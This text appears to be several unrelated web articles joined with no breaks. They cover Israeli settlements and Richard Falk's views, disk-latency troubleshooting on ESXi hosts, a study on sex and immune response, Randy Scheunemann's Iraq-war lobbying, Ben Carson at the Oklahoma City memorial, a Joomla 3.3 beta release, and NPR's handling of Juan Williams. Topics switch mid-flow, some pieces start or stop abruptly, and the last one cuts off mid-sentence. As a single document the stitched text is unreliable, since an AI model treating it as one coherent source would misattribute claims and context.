The net effect of the Israeli seizure of land in East Jerusalem, which includes recent approval for an additional 9,000 housing units, and the West Bank is to promulgate a form of administrative ethnic cleansing. Palestinian families are being pushed off land they have owned for generations and evicted from their homes by Israeli authorities. Dozens of families, tossed out of dwellings they have occupied in East Jerusalem for decades, have been forced onto the streets. Groups such as Ateret Cohanim, an ultra-Orthodox Jewish private organization that collects funds from abroad, purchases Palestinian properties and pursues legal strategies to evict families that have long resided in East Jerusalem. Israel’s judicial system and police, in violation of international law, facilitate and enforce these evictions and land seizures.
Heavily armed settlers carry out frequent unprovoked attacks and ad hoc raids and house evictions to supplement the terror imposed by the police and military. They are the civilian arm of the occupation.
“This acquiescence in settler violence is particularly objectionable from the perspective of international humanitarian law because the settlers are already unlawfully present in occupied territory, making it perverse to victimize those who should be protected — the Palestinians — and offer protection to those who are lawbreakers — the settlers,” said Richard Falk when we spoke a few days ago. Falk is the U.N. special rapporteur who was denied entry into the occupied territories by the Israeli government.
Falk said that incorporating Palestinians in East Jerusalem and the West Bank into a single Israeli state would see Israel impose gradations of citizenship.
“If the Palestinians in pre-’67 Israel enjoy second-class citizenship, those in the West Bank and East Jerusalem will be given a third-class citizenship,” Falk said. “The real proposal, the envisioned outcome of this kind of proposal, is an extension of Israeli control over the occupied territory as a permanent reality. It is presently a de facto annexation. The creation of a single state would give the arrangement a more legalistic cover. It would seek to resolve the issue of occupied territory without the bother of international negotiations.”
“The effect is to fragment the Palestinian people in such defining ways as to make it almost impossible to envision the emergence of a viable Palestinian sovereign state,” said Falk. “The longer it continues, the more difficult it is to overcome, and the more serious are the abridgement of fundamental Palestinian rights.” Falk, who taught international law at Princeton University, will issue a report to the United Nations this fall in which he will assert that the Israeli process of colonialism and apartheid has accelerated over the past three years. He will call in the report for the U.N. to consider unilaterally declaring Palestine an independent state, as it did with Kosovo. Falk cites as examples of Israeli colonialism the official 121 Jewish settlements, as well as roughly 100 “illegal outposts” in the West Bank, and the extensive network of roads reserved exclusively for Jews that connects the settlements to one another and to Israel behind the green line. He estimates, when “all restrictions on Palestinian control and development are taken into account,” that Israel has effectively seized 38 to 40 percent of the West Bank.
The punishing conditions imposed by the Israeli blockade of the 1.5 million Palestinians living in Gaza have been replicated for the roughly 40,000 Palestinians who live in “Area C,” the 60 percent of the West Bank that remains under complete Israeli military control. Save the Children, UK (STCUK), in a recent report called “Life on the Edge” argues that Israeli policies of land confiscation, expanding settlements, lack of basic services such as food, water, shelter and medical clinics are at “a crisis point.” The report concludes that food security problems are even worse than in Gaza. According to the report, “ … Seventy-nine percent of communities surveyed recently don’t have enough nutritious food; this is higher than in blockaded Gaza where the rate is 61 percent.” Palestinian children growing up in Area C experience, according to the report, malnutrition and stunted growth at double the level of children in Gaza. Forty-four percent of these children were found to suffer from diarrhea, often with lethal effects. STCUK writes that “Israel’s restrictions on Palestinian access to and development of agricultural land—in an area where almost all families are herders—mean that thousands of children are going hungry and are vulnerable to killer illnesses like diarrhea and pneumonia.”
“Children are being forced to cross settlement areas and risk beatings and harassment by settlers, or walk for hours, just to get to school … many children are losing hope in the future,” Jihad al-Shommali of the Defense for Children International Palestine Section was recently quoted as saying with reference to the problems of children in Area C.
Falk said, “This overall pattern suggests systematic violations by Israel of Article 55 of Geneva IV and Article 69 of the First Geneva Protocol of 1977 that delimits Israel’s obligations to ensure adequate provision of the basic needs of people living under its occupation, especially in Area C where it exercises undivided control.”
The annexation of Palestinian territory has been reinforced by the construction of 85 percent of the separation wall — 256 of a planned 435 miles has been completed — on occupied Palestinian territory. The barrier cuts the West Bank off from Israel and has been built in a configuration which plunges deep into the West Bank. The settlements and the land to the west of the wall, which makes up 9.4 percent of the West Bank, have already been absorbed into Israel. The seizure of nearly 40 percent of the West Bank includes Israeli control of most of the Palestinians’ water supply. The Jewish settlers in the West Bank are allotted per capita four to five times the amount of water allotted to Palestinians by the Israeli government.
The settlements in East Jerusalem and the West Bank violate Article 49(6) of Geneva IV, which prohibits the transfer of the population of an occupying power to the territory temporarily occupied. Israel’s stubborn rejection of the demand of Security Council Resolution 242 that it withdraw from Palestinian territories it occupied in 1967 creates, as Falk said, “a background that resembles, and in some dimensions exceeds, in important respects the situation confronting the government of Kosovo.”
How do I figure out the causes of poor performance?
Many tools facilitate the exploration of performance problems with respect to applications themselves. These tools typically monitor the performance of a single component, such as a database or an application container. There are also available tools that you can use to monitor your infrastructure (for example, VMware vSphere) and disk performance (for example, IOmeter).
We found a problem that affects the user experience of one of our web applications. The application suffers from increased response times stemming from the fact that one of our ESXi hosts has slow disk performance and overloaded storage. This got me wondering about which metrics are most relevant to poor disk performance. Is throughput the main thing to focus on?
What are the key disk performance metrics?
In the case of virtualized infrastructure, as we have in our situation, multiple virtual machines make use of the same physical storage devices and consequently can negatively affect storage I/O performance. With this in mind, it makes sense to keep an eye on key I/O performance metrics if you want to keep your environment healthy and responsive.
Here’s my list of key disk performance metrics:
There are many other VMware-related storage metrics that you can consider. If you’re curious, refer to VMware’s own list of disk performance counters. However, in this blog post I’ll only go into detail regarding one of these metrics, disk latency.
Disk latency count
Disk latency measures the amount of time it takes a disk to complete a command. Many published articles have discussed optimal settings and response times related to storage environments. The lesson is clear: It’s hard to declare optimal threshold values for disk latency that are universally applicable. Though most recommendations for maximum threshold values for disk latency range from 15ms to 25ms.
These values don’t seem to be realistic. Based on our observations 15-25ms latency is not a problem. Values up to 50ms most applications can tolerate. The challenge is that threshold values are heavily dependent on the specific storage solution in use, I/O block size, the sensitivity of the application to I/O performance, and more.
For the situation illustrated above, average disk latency is over 3.4 seconds for a short period of time. This is way too high compared to recommended values. Please note that the given metric value is a sum of all disks on this host; it represents the total of disk latency value.
At the same time the number of command aborts has increased. This is a symptom of overloaded storage device caused by storage misconfiguration. Ideally, this value is zero.
How did we fix this problem?
Based on input from our infrastructure guys, the issue with high latency was caused by a corrupt physical disk and a misconfiguration of the controller. A disk within the array began to fail (and was eventually replaced). Also, the controller was set to “write-through” instead of “write-back,” which may have affected disk performance.
Wrap up
So, it’s not only CPU, memory, and network performance that you should look at when struggling with poor application performance. Quite often disk access turns out to be the bottleneck in your environment. Infrastructure monitoring has proved to be highly valuable in my analysis. It has shown me the impact that disk problems can have on the application level. I have to admit though, I’m a little biased since I work for this new player in the APM market.
BLOOMINGTON, Ind., Oct. 7 (UPI) -- Although couples trying to have a baby are generally told to have sex as much as possible whether or not a woman is at a point in her menstrual cycle to be fertile, until now, how this helps increase the chance for pregnancy was unknown.
Sexual activity triggers responses from the immune system in a woman's body to prepare it for the possibility of pregnancy, according to two new studies. The studies not only shed light on the mechanics of pregnancy, but researchers said they may also impact treatment of autoimmune disorders.
"It's a common recommendation that partners trying to have a baby should engage in regular intercourse to increase the woman's changes of getting pregnant -- even during so-called 'non-fertile' periods -- although it's unclear how this works," said Tierney Lorenz, a visiting research scientist at the Kinsey Institute at Indiana University, in a press release. "This research is the first to show that the sexual activity may cause the body to promote types of immunity that support conception."
In the studies, which are published in the journals Fertility and Sterility and Physiology and Behavior, researchers recruited 30 women for the studies, half of whom were sexually active and half abstinent. The studies report on differences in levels of helper T cells and antibodies in the two groups of women, of which there are multiple types of each.
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Helper T cells activate cells in the body to fight invading microbes, while antibodies called immunoglobin are secreted by white blood cells to fight foreign invaders. In the case of pregnancy, type 2 T cells help the body not reject sperm or an emerging embryo that could be misconstrued as a threat to health. Immunoglobin G anitbodies can fight disease without interfering with the uterus, unlike immunoglobin A antibodies found in the mucous in the reproductive tract that interfere with fertilization.
Researchers found in the studies that sexually active women had higher levels of both types of pregnancy-agnostic immune cells during the luteal phase of the menstrual cycle, when the uterine lining thickens in for pregnancy. Women in the study who were not sexually active did not show the immune changes.
"We're actually seeing the immune system responding to a social behavior: sexual activity," Lorenz said. "The sexually active women's immune systems were preparing in advance to the mere possibility of pregnancy."
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In the fall of 2002, the man who would become the John McCain campaign’s top foreign policy adviser was tasked with a sensitive project at the behest of the White House. It began when President Bush’s then deputy national security adviser Stephen Hadley asked neoconservative activist and Lockheed Martin lobbyist Bruce Jackson to set up a committee that could mobilize public opinion for war with Iraq.
“Jackson said he was happy to do this, but he didn’t know what the real motive for the war was about,” says journalist Aram Roston, who first told the story of the meeting in his biography of Iraqi politician Ahmad Chalabi, The Man Who Pushed America to War. “And Hadley didn’t provide him that much clarification.” Nor, Jackson told Hadley, did he know very much about the Middle East.
So Jackson turned to Randy Scheunemann, a longtime lobbying partner and fellow senior officer in a series of interconnected neoconservative advocacy groups: the Project for the New American Century, the US Committee on NATO, and the Project on Transitional Democracies. Scheunemann would set up and run the new group, called the Committee for the Liberation of Iraq; unlike Jackson, he knew a lot about the hawks’ case for war and ran in neoconservative circles where Chalabi (whom Scheunemann had met at a Hill event in the ’90s) was a household name.
For their committee, Scheunemann and Jackson recruited a range of politicians and thinkers from both parties: Sen. Joseph Lieberman (D-Conn.), Sen. Bob Kerrey (D-Neb.), former House Speaker Newt Gingrich (R-Ga.), former drug czar General Barry McCaffrey, writer Christopher Hitchens, neoconservative intellectual Robert Kagan, former Pentagon official Richard Perle, and former CIA director Jim Woolsey. McCain was also a member, and honorary cochair, and he would go on to hire Scheunemann as his top foreign policy adviser for both his 2000 presidential campaign and his current bid; Scheunemann’s tasks this fall have included schooling VP candidate Sarah Palin on foreign policy, and even standing in for Sen. Joe Biden during debate preparation.
Gary Schmitt, former senior fellow at the Project for the New American Century and secretary of the Committee for the Liberation of Iraq, says the group “was about organizing people to make the case for removing Saddam. When the media called and asked, ‘Why is something important?’ it could answer that, or it could provide someone to appear on a radio show.” Scheunemann and Jackson used their connections to another successful group they ran, the US Committee on NATO, to recruit former East bloc leaders to sign a statement likening their struggle against Soviet tyranny to the overthrow of Saddam Hussein. “The problem in Iraq is not just Saddam Hussein’s weapons,” Scheunemann, in his capacity as the committee’s president, said in a press release at the time. “It is Saddam Hussein’s regime…We believe it is time to confront the clear and present danger posed by Saddam Hussein’s regime by liberating the Iraqi people.” Committee members also wrote op-eds and made television appearances advancing the case for regime change. (Jackson declined to comment on the committee or Scheunemann, saying he has been far more focused on Eastern Europe.)
Some players in the push to war note that, having been created when the White House was already deep into planning the invasion, the Committee was designed primarily to sway one key audience: legislators. “The deal was already a long time done by then,” says longtime Ahmad Chalabi adviser Francis Brooke. “My own view was that the public was already sold on the war. The issue was, are you selling it to Congress.”
Roston’s account suggests close ties between Scheunemann’s group and Chalabi. Brooke, he reports, threw a party at Chalabi’s Georgetown home to celebrate the committee’s founding in the fall of 2002. “Most of the key neoconservatives were there,” Roston writes. “It wasn’t set up, strictly speaking, as another group linked to the Iraqi National Congress, although it did eventually morph into that.” Brooke says he doesn’t remember any such party, although he acknowledges throwing lots of parties in those heady prewar days—a time when he and Chalabi were working inside the Pentagon helping to draw up plans for war.
“Let’s remember, for a long time, Chalabi had been the face of what everybody hoped Iraq would be like,” says Tom Donnelly, a military expert at the American Enterprise Institute, previously with the Project for the New American Century. “Secular, western educated, worldly. Everybody knew that he was a bit of a rogue and egomaniac. There was a de facto alliance of convenience. In no sense was the committee a Chalabi front organization…In an environment where people didn’t know very much about the Iraqi opposition, he was the happy face of what everybody imagined the real Iraq was like.”
In the end, says one former GOP Hill foreign policy staffer who has worked with Scheunemann, “Randy is a pretty classic neoconservative. He got associated with Chalabi in particular. That whole crowd [of Republican Congressional hawks]—they have been pretty consistent about that. And they really believed that stuff.”
Brooke says he met Scheunemann in 1996 when he and Chalabi were hitting Capitol Hill to try to drum up increased US government support for the Iraqi opposition. Brooke’s pitch then was that putting pressure on Saddam Hussein was not just the right policy; it was also a vehicle for attacking Bill Clinton, then running for reelection. “I thought it was a good time to educate the Republican Congress…and give them the ammunition they needed to beat the president up.” In Scheunemann and other hardliners on the Hill, Brooke says he found kindred spirits—a clique of Republicans deeply disillusioned with how George H.W. Bush had let both the Cold War and the first Iraq War end without meting out sufficient punishment to America’s adversaries. “These people had a great sense of psychic loss that we had not finished the first Iraq War in the most comprehensive way. They hated George Bush the first.”
Still, Scheunemann, who then worked for Senate Majority Leader Trent Lott, was initially skeptical. After he and Chalabi made their pitch, Brooke said, “Randy said, ‘This is all fine but on the other hand, the CIA and other parts of the US government tell me that the Iraqi opposition is a feckless bunch of people, that can’t do anything, have no support inside the country, and have probably been up to no good all over the place.'” Brooke says he encouraged Scheunemann to do his own research, and eventually convinced him.
Brooke’s view of Scheunemann is echoed by most of those who know him; going back to his earliest days in Washington, they say, he held an abiding faith in the neoconservative tenet that America must project both its values and its military superiority abroad, in particular to fight totalitarian regimes. After graduating from the University of Minnesota and doing graduate work at Tufts, Scheunemann came to DC in 1986 as a legislative assistant to Minnesota Sen. Dave Durenberger (R-Minn.), then the chairman of the Senate Select Committee on Intelligence. He later worked as foreign policy and defense adviser to Sen. Bob Dole and Lott when each served as Senate majority leader. In 1996, he advised Dole on national security in his unsuccessful 1996 run for the White House, and in 2000 he did the same for McCain’s failed primary run.
In between those campaigns, Scheunemann left the Hill to become a lobbyist, first going to work in 1998 at the Mercury Group, where his clients have included oil company BP and the National Rifle Association. (In January 1997, Scheunemann was arrested by Capitol Hill police for driving into the Capitol zone with a shotgun in his vehicle, forgotten after a duck-hunting trip.) Later he set up his own lobbying shop, Scheunemann and Associates, and in 2001 he founded Orion Strategies LLC, where he specialized in representing former East bloc countries seeking to become members of NATO, including Latvia, Romania, Georgia, and Macedonia as well as Lockheed Martin. That year, Scheunemann also served as a consultant on Iraq to the office of Secretary of Defense Rumsfeld.
Scheunemann’s lobbying on behalf of NATO expansion raised eyebrows earlier this year: In August, the Washington Post reported that Scheunemann had prepped McCain for a phone call with the president of Georgia on the same day, April 18, 2008, that Orion Strategies “signed a $200,000 contract to continue providing strategic advice to the Georgian government.” (McCain shares his adviser’s hostile view toward Moscow; even before the invasion of Georgia this summer, he suggested kicking Russia out of the G8.)
Those who have worked with Scheunemann on the Hill and in neoconservative foreign policy circles describe him as extremely smart and focused, if occasionally unpleasant and arrogant. Donnelly says that comes with the territory: “Randy has worked in American politics for a long time. He’s a serious political operative. Randy is pretty hardcore about the nature of power, but also thinks the exercise of power should be done in a moral fashion and with moral purpose in support of American political goals and principles. I cannot imagine Randy being a lobbyist for the Saudis, for instance.
Carson, who is scheduled to speak at the 22nd anniversary of the Oklahoma City bombing, and HUD staff members took time to tour the memorial with Executive Director, Kari Watkins, and Mike Turpen, Oklahoma City National Memorial Foundation Chairman.
The Secretary placed a special note on the chairs of each of the 35 HUD employees killed in the Oklahoma City bombing on April 19, 1995.
“We are honored to have Secretary Carson join us for the 22nd Remembrance Ceremony and pleased he is taking time to remember as we continue our work to never forget and to teach the lessons of April 19, 1995,” Watkins said.
The explosion killed 168 people, including 19 children.
Oklahoma City’s Alfred P. Murrah Building housed HUD offices as well as employees from other federal agencies.
Joomla! CMS 3.3 Beta Released
The Joomla! Project is pleased to announce the availability of Joomla! CMS 3.3 Beta 1. Community members are asked to download and install the package in order to provide quality assurance for the forthcoming 3.3 release, which is scheduled for release on or around April 22nd, 2014.
A big thank you goes out to everyone that contributed to the 3.3 release! Joomla! CMS 3.3 will be our most stable release ever. Right now we're at about 290 commits since 3.2.3's release with 39 different people contributing to those commits (not including testers and other non-coding activities). Best of all is that the new features are awesome!
The 3.x release series is the latest major release of the Joomla! CMS, with 3.3 the fourth standard-term support release in this series. Please note that going from 3.2 to 3.3 is a one-click upgrade and is NOT a migration. The same is true is for any subsequent versions in the 3.x series of the CMS. That being said, please do not upgrade any of your production sites to the beta version as beta is ONLY intended for testing and there is no upgrade path from Beta.
What is this release for?
This is a BETA release, that should only be used on test sites. Beta releases cannot be upgraded.
Extension developers are encouraged to work with this release in order to prepare extensions for the General Availability release of Joomla! CMS 3.3, though there shouldn't be any backward compatibility issues. Users are encouraged to test the package for issues and to report issues in the Joomla! CMS Issue Tracker. Please do not upgrade any of your production sites to the beta version and do not start a new site on beta as beta is ONLY intended for testing and there is no upgrade path from Beta.
Click here to download.
When is the final release due?
Joomla! CMS 3.3 (general availability) is due to be released on or around April 22, 2014. The planned milestones are:
April 8 – Beta 2
April 15 – Release Candidate (RC)
April 22 – Stable Release
Please note that dates may be subject to change depending on availability of volunteers and circumstances beyond our control.
Which bugs have been fixed in Joomla! CMS 3.3?
Thanks to the hard work of JBS and other volunteers, there have been over 75 tracker items closed since the 3.2.3 release, which includes the new features. See https://developer.joomla.org/version-3-3-0-release-notes.html for details of the tracker items fixed. For known issues with the 3.3 beta series, see the Version 3.3 Beta FAQ on the documentation site.
What’s new in Joomla! CMS 3.3
Below are slides presented at JoomlaDay Boston and JoomlaDay Atlanta covering the 3.3 release.
The final features for the 3.3 release, including security enhancements and microdata implementation, are detailed in this blog post.
What is the status of Joomla! CMS 2.5?
Version 2.5 of the Joomla! CMS is a Long Term Support release and support for it will continue until December 31st, 2014. 2.5 users do not need to migrate to the 3.x series at this time.
Security Support for 3.2
The PLT is planning to release 3.2.4 on April 22, 2014, the same day as 3.3.0. For this release, the PLT plans to include all of the bug fixes committed after 3.2.3 into this release, enabling 3.2 users to have the most stable code base we can offer them during the extended support period.
As previously announced, 3.2 will receive extended security support through October 2014 for users on hosts who do not meet the minimum required PHP version of 5.3.10. During the extended support period users can expect:
Security releases for 3.2 as needed
Continued support for 2.5
Continued support for 3.3
Users who are unable to update to 3.3 due to the new PHP requirements are able to use the one click-click update, once they update to PHP 5.3.10.
How can you help Joomla! development?
There are a variety of ways in which you can get actively involved with Joomla! It doesn't matter if you are a coder, an integrator, or merely a user of Joomla!. You can contact the Joomla! Community Development Manager, David Hurley, to get more information, or if you are ready you can jump right into the Joomla! Bug Squad.
The Joomla! Bug Squad is one of the most active teams in the CMS development process and is always looking for people (not just developers) that can help with sorting bug reports, coding patches and testing solutions. It’s a great way for increasing your working knowledge of the Joomla! code base, and also a great way to meet new people from all around the world.
If you are interested, please read about us on the Joomla! Wiki and, if you wish to join, email Mark Dexter or Nick Savov, our Bug Squad co-coordinators.
You can also help Joomla! development by thanking those involved in the many areas of the process. In the past year, for example, over 1,000 bugs have been fixed by the Bug Squad.
The project also wants to thank all of the contributors who have taken the time to prepare and submit work to be included in the Joomla! CMS and Framework.
A Huge Thank You to Our Volunteers!
By all the usual yardsticks, NPR is more successful and important—more essential—than ever. As other news operations retrench or atrophy or vulgarize, NPR has grown more engaged and ubiquitous. Twenty-seven million people, urban and rural, Democrat and Republican, listen to NPR programming weekly: unless you’re in the remotest reaches of the Sierra Nevada, you’re within range of Robert Siegel and Renee Montagne. And, because of its burgeoning foreign bureaus–thanks in part to a $235 million bequest from McDonald’s heiress Joan Kroc, NPR now has more of them than any domestic news organization besides The New York Times–you can hear Sylvia Poggioli, Ofeibea Quist-Arcton, Mandalit del Barco, Soraya Sarhaddi Nelson, Lourdes Garcia-Navarro, and Doualy Xaykaothao as well. From an amalgam of amateurish college radio stations and stuffy classical-music redoubts, NPR has grown into a mighty journalistic juggernaut. In the process, it’s gone decidedly mainstream. True, in story selection and sound, NPR retains a tincture of elite liberalism. (Anyone seeking evidence need only listen to the insufferable “Wait Wait . . . Don’t Tell Me!”) But as its critics on the left contend (yes, there are lots of them too, every bit as over-heated as those on the right), on NPR these days there’s far more comforting the afflicted than afflicting the comfortable. NPR has traded much of its early edginess and eccentricity for reach and respectability, stability, and an almost compulsive inoffensiveness. (When, not long ago, Leon Panetta called Osama bin Laden a “son of a bitch,” NPR felt compelled to bleep out the “bitch.”) Apart from the occasional stories about gays or Palestinians (and maybe even gay Palestinians), there’s precious little on NPR these days for conservatives really to hate. For them, despising NPR and cutting off what amounts to the few pennies it collects from the federal budget has increasingly become more a matter of pandering, or habit, or sophomoric sport, than of conviction or serious policy. The editor of the Weekly Standard, Bill Kristol, once confessed to former NPR ombudsman Jeffrey Dvorkin that he really didn’t believe NPR was liberal; he just said so “to keep you guys on the defensive.” And that still seems true. Cutting NPR’s funds remains firmly inscribed in the Republican catechism: Mitt Romney, predictably, has been only the latest to fall in line. But no matter how much Republicans threaten and Fox News fulminates, it’s never going to happen: too many Republicans, including the Colorado Republican who sponsored the de-funding legislation that passed the House in March (it went nowhere after that), listen to it. Who, after all, wants to be blamed for killing off Click and Clack? At most, it might get what one NPR host called “a haircut,” just like the rest of the federal government. Nearly 30 years ago, during one of its periodic attempts to free itself from the federal dole—an arrangement dating back to NPR’s inception during the Great Society—NPR had nearly gone bankrupt. Its member stations had bailed it out, but the price they exacted was high: from the beginning, those stations—a few large, most small or infinitesimal—had always effectively controlled the NPR board, which controls NPR. But now they got their money directly from the Corporation for Public Broadcasting rather than through NPR, giving them even more leverage. Only these 268 member stations can change the current structure, and they aren’t likely to vote to diminish their own power anytime soon. So what has become one of the most powerful media entities in the world isn’t run by its own journalists, or by journalists at all, but by station managers from places like Portland, Oregon; Charlotte, North Carolina; Concord, New Hampshire; and Carbondale, Illinois. Those stations are in turn largely funded by political appointees at the Corporation for Public Broadcasting, an entity which exists only to dole out federal dollars. It’s supposed to be a firewall against political interference, but concerned for its own survival—if those federal dollars disappear, it does, too—it’s become more of a levee, prone to crumble when the slightest trickle of right-wing criticism starts flowing its way. Though NPR is surprisingly unable (or unwilling) to give a precise number, the best guess is that roughly 10 percent of NPR’s revenue comes—either directly or indirectly—from the Feds. The remainder arrives courtesy of—well, every NPR listener knows that voice, sometimes chipper, sometimes officious, shoe-horned into every idle moment of the broadcast day: “Support from NPR comes from . . . ,” followed by a litany of private donors, foundations, corporations, and family trusts. But local stations depend on the C.P.B.–mostly for 10 to 15 percent, but in some instances for as much as 60 percent, of their budgets Actually, a wide range of people across the political spectrum think weaning itself off the government dole would be the best thing that could happen to NPR, either by getting the government out of the broadcasting business or by liberating NPR from the yahoos. And given its devoted and affluent following—surely there are lots more Joan Krocs out there listening in—even a modicum of imagination, and cooperation between NPR and its member stations, which have historically fought over the same dollars, could make this happen. But it has to be done delicately; for now, Knell is quite understandably saying he’s against it. No sense taking on fights when more immediate needs loom: for starters, he must replace its most recent news chief, Ellen Weiss, and Ron Schiller, formerly its chief fund-raiser, both casualties of the carnage triggered largely by the firing of Juan Williams in October 2010. Given the relentlessness of the news and NPR’s own emollient sound, it’s doubtful anyone has noted their absence. Still, the long-term turbulence at the top of NPR allowed problems to fester, then explode, then reverberate. That’s where Williams enters the picture.
On that fateful day, a year ago last October, as NPR’s senior Washington editor Ron Elving and Williams took the short walk from NPR headquarters to the White House for a meeting with then presidential adviser David Axelrod, Elving witnessed something quite extraordinary. Every few steps, someone stopped Williams, shook his hand, and said how much he admired him. In its largely self-effacing world—NPR stages a continuous slide show in its lobby, just to show you what the faces from which all those familiar voices emerge actually look like—Williams was not just recognizable: he was a star. Williams, the son of a boxing trainer from Bedford-Stuyvesant, Brooklyn, had for a decade pulled off a balancing act worthy of the Cirque de Soleil: straddling between brash, right-wing Fox News, which he’d joined in 1997, and polite, vaguely progressive NPR, where he’d come three years later. For someone who thrived on being provocative and unpredictable, who hated being pigeonholed, it worked quite nicely: he could be semi-liberal around the conservatives and semi-conservative around the liberals, and a rare, cherished black body around both. Fox paid well, wasn’t terribly taxing, afforded enormous visibility, and gave him two things NPR never could: a feeling of belonging, and the power to pop off. Conversely, NPR offered things unavailable at Fox, things that mattered to someone who’d built his reputation at The Washington Post—things like respectability in more mainstream political precincts. How had he done it? Well, Williams was charming, and intelligent, and energetic. The stations, for whom he was in high demand at fund-raising events, loved him. Williams’s work at NPR had been spotty, just as it had previously been at the Post and in other endeavors. [See "The Story of Juan."] But he had a trump card: he was the most prominent black man on its air. Letting Williams go, at any point, for any cause, would raise hackles. But over time, parting ways with Williams came to seem as inevitable as it was impossible.
Sometime in 1999, Williams says that NPR approached him for a job. By then he was a familiar face on television—he’d been on CNN programs like Crossfire before Roger Ailes recruited him for Fox—but he had no prior experience on radio. NPR checked him out perfunctorily. Actually, it did little to investigate his journalism, contenting itself instead with a Nexis search for signs that he’d made more of the sorts of inappropriate comments to female co-workers that had once landed him in hot water at the Post. Finding none, the due diligence pretty much stopped there. For NPR, after all, Williams was a three-fer: a star, black, and a conservative (at least relatively speaking), three commodities in perpetually short supply there. “We were punch-drunk about having him on board,” one NPR editor recalled. Williams’s new association was nonetheless a strange fit. He remained more intent upon becoming a player and pundit, types to which the network had never catered, than a host or reporter. From the beginning, NPR struggled to find a place for him. His first gig, replacing Ray Suarez as host of its afternoon interview program, Talk of the Nation, lasted for less than a year and a half. As Williams is quick to note, the show’s ratings actually improved under him: 2000 was an election year, though, and everyone’s ratings were up. But Williams had never hosted a show, and, as Jay Kernis, NPR’s senior vice president for programming at the time, recalled, “he didn’t hold the air.” Nor, co-workers say, did he do his homework: preparing for eight hours of radio a week is arduous, and he had too much else going on. One recalled telling him how laboriously Terry Gross got herself ready for *Fresh Air,*forever lugging home boxes of books and compact discs; “Juan really didn’t want to hear that,” he said. Off at Fox or the gym or on the road, he missed meetings. Unwilling to master them the way, say, Robert Siegel does, he mangled foreign names, then mangled them anew after every station break. The very stations that so loved him as a fund-raiser threatened to pull the program unless he was replaced. Characteristically, Williams has his counter-narrative: managers at two crucial stations, in Los Angeles and Boston, bad-mouthed him throughout the system; one, the general manager of WBUR in Boston, thought he sounded “too black” for NPR. (Jane Christo, who ran the station at the time, called that “completely ridiculous.”) NPR, says Williams, proved a closed fraternity to him: to various lifers there—Siegel, Wertheimer, Stamberg, Totenberg—he was an interloper. They refused to come on his program and, in the case of the hosts, would not invite him on theirs. “That was the first indication I had that ‘You know what, you’re not part of the club, buddy,’” he recalled. (But listeners loved him, he maintains; he got boxes full of protest letters when he was removed—a decision, he says, NPR was too timid ever to announce.) On several occasions, Williams goes on, notoriously tight-lipped (at least on the record) Supreme Court justices, impressed by the biography of Thurgood Marshall he had published in 2000, agreed to give him interviews, but NPR wouldn’t let it happen: they feared treading on Totenberg, NPR’s longtime legal-affairs correspondent, who wields enormous power within the organization. Even an interview with Clarence Thomas was barred, perhaps additionally because NPR officials feared Williams was too cozy with him (Williams and Thomas have been friendly for more than two decades, though Williams maintains it's only casual). Totenberg denies ever big-footing Williams, and says she’d be “stupefied” to learn that NPR ever turned down an interview with Thomas, regardless of who did it. After Talk of the Nation, Williams became a senior correspondent, providing commentary and analysis for programs such as Morning Edition. But as NPR hired more reporters, it had less dead air to fill, and commentary was slowly disappearing. (Williams insists his segments were cancelled because they were actually too popular: he sounded too much like the voice of NPR.) When Steve Inskeep and Renee Montagne took over the show from Bob Edwards in 2004, they, unlike Edwards, wanted to conduct their own interviews. Williams continued to report, and did some fine work. But, since he was untrained in radio, he was expensive: while many NPR reporters traveled solo, he needed to bring a technical crew along. And between his op-ed articles, books, speeches, and commitments to Fox News, he was often over-extended, and had to cut corners or fly off somewhere fast to squeeze everything in. For a time, NPR actually liked having him at Fox: it was a way for him to preach to another choir. But feelings changed as Fox became far more powerful, and more conspicuously conservative. Many on the left deemed him Roger Ailes’s useful idiot, simultaneously lending Fox a veneer of “balance” and perpetuating Fox’s claim that NPR was a nest of liberals. (NPR’s national political correspondent, Mara Liasson, also appeared on Fox, but, confined largely to the more staid Sunday show and far more measured in her comments, rarely aroused much ire.) Mostly, it was Williams’s appearances on The O’Reilly Factor—where he acts as sidekick and apologist as often as foil and scold, dispensing periodic absolution to O’Reilly over charges that he is racially insensitive—that riled up NPR’s more liberal listeners. Once, after O’Reilly expressed amazement over how surprisingly normal Harlem had seemed to him during a rare visit there, Williams called O’Reilly’s critics on CNN “idiots.” More famously, he predicted that were she to remain as outspoken a critic of the United States as some folks on the right believed, Michelle Obama threatened to turn into “Stokely Carmichael in a designer dress.” (Even O’Reilly found that idea preposterous.) That brought heaps of complaints to NPR’s ombudsman. Simply to anticipate such listener outrage, one NPR editor created a kind of “Juan Williams Watch,” tuning in Fox regularly to hear, as she put it, whatever “stupid cockamamie” thing he might say, and which, therefore, she would have to defend. Williams remained extremely well wired in Washington, able to reach just about anyone anytime, but even his scoops sometimes proved problematic. Undoubtedly aided by his Fox connections, in January 2007 he scored NPR’s first interview with President George W. Bush in seven years. But some listeners thought him sycophantic, particularly when he told Bush that people were praying for him. (In his church, Williams explains, the parishioners prayed for everyone.) Robert Siegel was sufficiently appalled—he “flipped out,” Williams says—to complain to NPR’s vice president for news, Ellen Weiss, about it. Nine months later, when the White House offered Williams a second Bush interview, Weiss nixed the idea: NPR could not let the White House dictate interlocutors. Williams took the interview to Fox, then told Howard Kurtz in the Post that he was “stunned” by what he described as NPR’s nonsensical decision. At NPR, too, people were stunned—by his effrontery—and he was almost fired. After prolonged negotiations, he signed off on another largely spoon-fed, begrudging non-apology, this one e-mailed to the staff. “Juan, gettin’ ugly, wonder if it will result in him severing ties, or mutual,” Farai Chideya, who hosted NPR’s program on black affairs, News & Notes, e-mailed a colleague. Williams almost caused an international incident a month later, after reporting on Fox News Sunday that General David Petraeus, then commanding American forces in Iraq, had sought White House permission to chase arms infiltrators into Iran, a step that would have both violated the military chain of command and that he’d publicly decried—at a Senate hearing—only a few weeks before. At NPR’s Baghdad bureau, Williams’s report prompted disbelief, and ridicule. “It was Seven Days in May kind of stuff,” one person there recalled. Under pressure from Petraeus’s office, Williams (who had never checked the claim with the American military in Iraq beforehand) retracted the story, though more as a sop to NPR—he didn’t want to jeopardize its credentials in Iraq, he says—than as an admission of error. Unsatisfied, NPR told him he could not say things on Fox too slimly sourced to say on NPR. Again, Williams does not concede doing anything wrong; instead, he counters that NPR neither understands, nor respects, the grit of real reporting; unless something happens in plain sight or is uttered into one of its microphones, it isn’t news to them. (Small wonder, he jokes, that some people deride NPR as USA Yesterday.) Some at NPR wanted to let him go. But Williams had them checkmated. The stations, for whom his fund-raising skills loomed far larger than any reportorial shortcomings, continued to love him. He was a mentor to some young African-American reporters. And he was the most well-known black man on its air: for some reason, NPR couldn’t or wouldn’t find others. So NPR marginalized him, much as the Post had previously done. “Straitjacketed him” might be a better way of 